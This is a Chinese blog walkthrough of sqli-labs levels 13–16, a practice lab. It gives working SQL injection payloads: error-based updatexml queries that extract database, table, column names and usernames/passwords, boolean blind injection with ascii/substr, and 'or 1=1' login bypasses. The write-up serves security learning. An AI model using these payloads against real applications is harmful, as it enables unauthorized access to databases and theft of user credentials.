当前位置: 首页 > article >正文

sqli-labs靶场13-16关(每日4关)持续更新!!!

Less-13

首先上来判断闭合方式是什么,我们输入1' ,看看页面回显情况

1后面有个括号,那我们输入 1') #  看一下页面回显

发现页面不报错了,但是没有回显内容,我们联想一下前几道题,页面回显不改变,会用到报错注入和盲注两种方式 ,要是盲注的话,布尔盲注和时间盲注这俩的页面回显会有变动,所以我们这道题选择报错注入,报错注入的方式还是用updatexml。

//updatexml格式   

updatexml(xml_doument,Xpath_String,new_value);

我们使用:updatexml(1,concat(0x7e,(...),0x7e),1); 

1.获取数据库

') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

2.获取表

')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

 

3.获取列

') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) #

我们会发现出来这条语句,怎么没有username和password呀,我们忽略了一点,updatexml报错有报错字符大小限制,不能完全显示出来,所以我们就不用group了,我们用limit,一个个试一试

//usename

') and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 4,1),0x7e),1) #

 

//password

') and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 5,1),0x7e),1) #

 

4.获取字段

也是用limit,让他们一个个输出

') and updatexml(1,concat(0x7e,(select concat(username,password) from users limit 0,1),0x7e),1) #

成功!!!

Less-14

发现和上一关一样,说明还是报错注入

那我们就判断闭合方式即可,其余步骤和上一关做法一样

说明闭合方式是双引号

直接显示最后一步,输出字段,也是用limit一次一次输出

"and updatexml(1,concat(0x7e,(select concat(username,password) from users limit 0,1),0x7e),1) #

 

Less-15

判断注入点,闭合方式,输入万能密码 'or 1=1 #   发现页面只显示登陆成功,其余又不显示,看题干,那就是盲注中的布尔盲注了。

1.获取数据库长度(需要自己去尝试),登陆成功说明正确

' or length(database()) = 8 #

 

1.获取数据库,因为我们并不知道用户名是什么,所以用or

//secutity

' or ascii(substr((select database()),1,1)) = 115 #

...

2.表名

//长度

' or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 # 

//emails

' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101 #

...

3.列名

//长度

' or (select length(column_name) from information_schema.columns where table_name='emails' limit 0,1) = 2 #

' or (select length(column_name) from information_schema.columns where table_name='emails' limit 1,1) = 8 #

//id

' or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)) = 105 #

...

//email_id

' or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),1,1)) = 101 #

...

4.字段

//长度

'or (select length(email_id) from emails limit 0,1) = 16 #

//Dumb@dhakkan.com

# 第一个字段第一个字母是 D

' or ascii(substr((select email_id from emails limit 0,1),1,1)) = 68 #

 Less-16

和第15关一样,就是闭合方式有区别

本关的闭合方式是   ")

先用万能密码登录,测试闭合方式

") or 1=1 # 

登陆成功!

其余步骤和第15关一样 


http://www.kler.cn/a/396433.html

相关文章:

  • 【从零开始的LeetCode-算法】3270. 求出数字答案
  • Python小试牛刀:第一次爬虫,获取国家编码名称
  • 机器学习 ---线性回归
  • 编译原理(手绘)
  • Spring Boot框架:构建可扩展的网上商城
  • World of Warcraft [WeakAuras]Barney Raid Kit - Collapsing Star Indicator
  • ChatGPT登录失败的潜在原因分析
  • 数字化转型企业架构设计手册(交付版),企业数字化转型建设思路、本质、数字化架构、数字化规划蓝图(PPT原件获取)
  • 使用pdfjs加载多页pdf并实现打印
  • 基于Java的药店管理系统
  • Java操作PDF:一键生成文件,插入文字、选项、签名及公章
  • IntelliJ IDEA 2024.3(Ultimate Edition)免费化教学
  • Axure网络短剧APP端原型图,竖屏微剧视频模版40页
  • 【会话文本nlp】对话文本解析库pyconverse使用教程版本报错、模型下载等问题解决超参数调试
  • 智慧社区可视化解决方案:科技引领社区服务与管理新篇章
  • windows 11编译安装ffmpeg(包含ffplay)
  • 金融学期末速成笔记
  • VS2022编译32位OpenCV
  • C++组合复用中,委托的含义与作用
  • 鸿蒙next版开发:使用HiChecker检测问题(ArkTS)
  • planRAG运行记录
  • Python 正则表达式进阶用法:量词与范围
  • MFC工控项目实例三十实现一个简单的流程
  • 函数式编程(4) 纯函数
  • docker与大模型(口语化原理和实操讲解)
  • CloudSim 里CloudletScheduler类